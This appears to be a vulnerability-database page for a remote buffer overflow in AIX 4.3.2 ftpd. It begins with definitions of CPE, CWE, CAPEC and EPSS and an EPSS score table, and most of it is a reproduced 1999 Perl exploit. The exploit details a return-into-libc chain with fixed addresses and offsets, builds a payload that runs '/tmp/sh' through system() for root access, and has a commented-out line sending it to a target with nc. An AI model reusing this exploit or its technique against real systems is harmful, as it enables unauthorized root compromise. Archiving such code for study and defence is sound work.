CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.48%
–
–
2022-02-13
–
–
4.48%
–
–
2022-04-03
–
–
4.48%
–
–
2022-12-25
–
–
4.48%
–
–
2023-01-01
–
–
4.48%
–
–
2023-02-26
–
–
4.48%
–
–
2023-03-12
–
–
–
25.49%
–
2024-02-11
–
–
–
11.46%
–
2024-06-02
–
–
–
11.46%
–
2025-01-19
–
–
–
11.46%
–
2025-03-18
–
–
–
–
22.71%
2025-03-18
–
–
–
–
22.71,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/679/info
A remote buffer overflow vulnerability in AIX's ftpd allows remote users to obtain root access.
#!/usr/bin/perl
# *** Synnergy Networks
# * Description:
#
# Remote bufferoverflow exploit for ftpd from AIX 4.3.2 running on an
# RS6000. (power)
# This is an return into libc exploit specificly crafted for
# one box and it is very unlikely to work on another box
# * Author:
#
# dvorak (dvorak@synnergy.net)
# Synnergy Networks (c) 1999, http://www.synnergy.net
# * Greets:
#
# Synnergy Networks, Hit2000 crew, Emphyrio, shevek
# * Comments:
#
# A full working exploit will be released later on.
# The addresses point to positions in the program or libraries,
# only the relevant instructions are shown also note that b r0
# is in fact something like mfsbr r0, bsbr or what that is in
# RS6000 assembly.
#
# The final call is to system which needs the following arguments:
# r3 = address of command to execute
# r2 = TOC (what is TOC anyway), I don't know if it does matter but
# we set it anyway (we can so why not do it)
# r1 = SP but this is ok already,
# the rest is free so it seems.
#
# Our route:
# 0x10010150: sets r2 to a place in the buffer and jumps to 0x10015228
# 0x10015228: loads r12 with a value from our buffera
# loads r0 with the next address to jump to (0x1001038c)
# and sets r2 to another place in our buffer
# 0x1001038c: sets r3 to a place in the buffer (finally!)
# sets r0 to next address to jump to (0xd00406d4, system(...))
#
# The flow with registers is thus:
# r2 = 0x14(r1)
# r12 = 0x110(r2)
# r0 = 0x0(r12)
# r2 = 0x4(r12)
# r3 = 0x40(r1)
# r12 = 0x3c(r2)
# 0x14(r1) = r12 this is the plave where TOC is stored but it doesn't seem
# to matter
# r0 = 0x0(12)
# r2 = 0x04(r12)
# and of we go...
#
# We set:
# $buf = the buffer on the stack $buf[0] is the first byte in the buffer
# but we will count offsets from 4 (the first 4 bytes is just "CEL " is
# doesn't matter, only the space does (it makes sure the rest of the buffer)
# stays the way it is and isn't converted into lower case
#
# Offsets:
# 0x000: 0x1001038c
# 0x004: buf[0]
# 0x008: this is the place where the address of the systemcall is taken from
# 0xd00406d4 in our case# 0x00c: thi is the address where r2 is
loaded
# from just before the call to
# system(..) we set it to the TOC in our program we don't know if it
# matters and if the TOC is constant between hosts
# 0x03c: buf[08]
# 0x110: buf[0]
# 0x204: return address (0x10010150)
# 0x210: buf[0]
# 0x23c: buf[0x240]
# 0x240: "/tmp/sh" or whatever command you want to execute
# r1 points to buf[0x1fc]
#
# I assume the positions in the libraries/program are fixed and that TOC
# either doesn't matter or is fixed to please enlighten me on these topics.
#
# 0x10010150:
# l r2, 0x14(r1)
# b 0x10015228
# 0x10015228:
# l r12, 0x110(r2)
# st r12, 0x14(r1)
# l r0, 0x0(r12)
# l r2, 0x4(r12)
# b r0
# 0x1001038c:
# l r3, 0x40(r1)
# b 0x100136f8
# 0x100136f8:
# l r12, 0x3c(r2)
# st r12, 0x14(r1)
# l r0, 0x0(r12)
# l r2, 0x04(r12)
# *** Synnergy Networks
$bufstart = 0x2ff22724; # this is our first guess
$nop = "\xde\xad\xca\xfe";
$buf = "CEL ";
$buf .= "\x10\x01\x03\x8c"; # 0 address of second piece of
# 'borrowed' code
$buf .= pack ("N", $bufstart); # 4
$buf .= "\xd0\x04\x06\xd4"; # 8 system call..
$buf .= "\xf0\x14\x63\x5c"; # c TOC
$offset = 0x10;
while ($offset < 0x3c) {
$offset += 4;
$buf .= $nop;
}
$buf .= pack ("N", $bufstart + 0x008);
$offset += 4;
while ($offset < 0x110) {
$offset += 4;
$buf .= $nop;
}
$buf .= pack ("N", $bufstart);
$offset += 4;
while ($offset < 0x204) {
$offset += 4;
$buf .= $nop;
}
$buf .= "\x10\x01\x01\x50";
$offset += 4;
while ($offset < 0x210) {
$offset += 4;
$buf .= $nop;
}
$buf .= pack ("N", $bufstart);
$offset += 4;
while ($offset < 0x23c) {
$offset += 4;
$buf .= $nop;
}
$buf .= pack ("N", $bufstart + 0x240);
$offset += 4;
while ($offset < 0x240) {
$offset += 4;
$buf .= $nop;
}
# this is the command that will be run through system
$buf .= "/tmp/sh";
$buf .= "\n";
# offcourse you should change this .
# open F, "| nc -v -v -n 192.168.2.12 21";
open F, "| od -tx1";
printf F $buf;
close F;
# EOF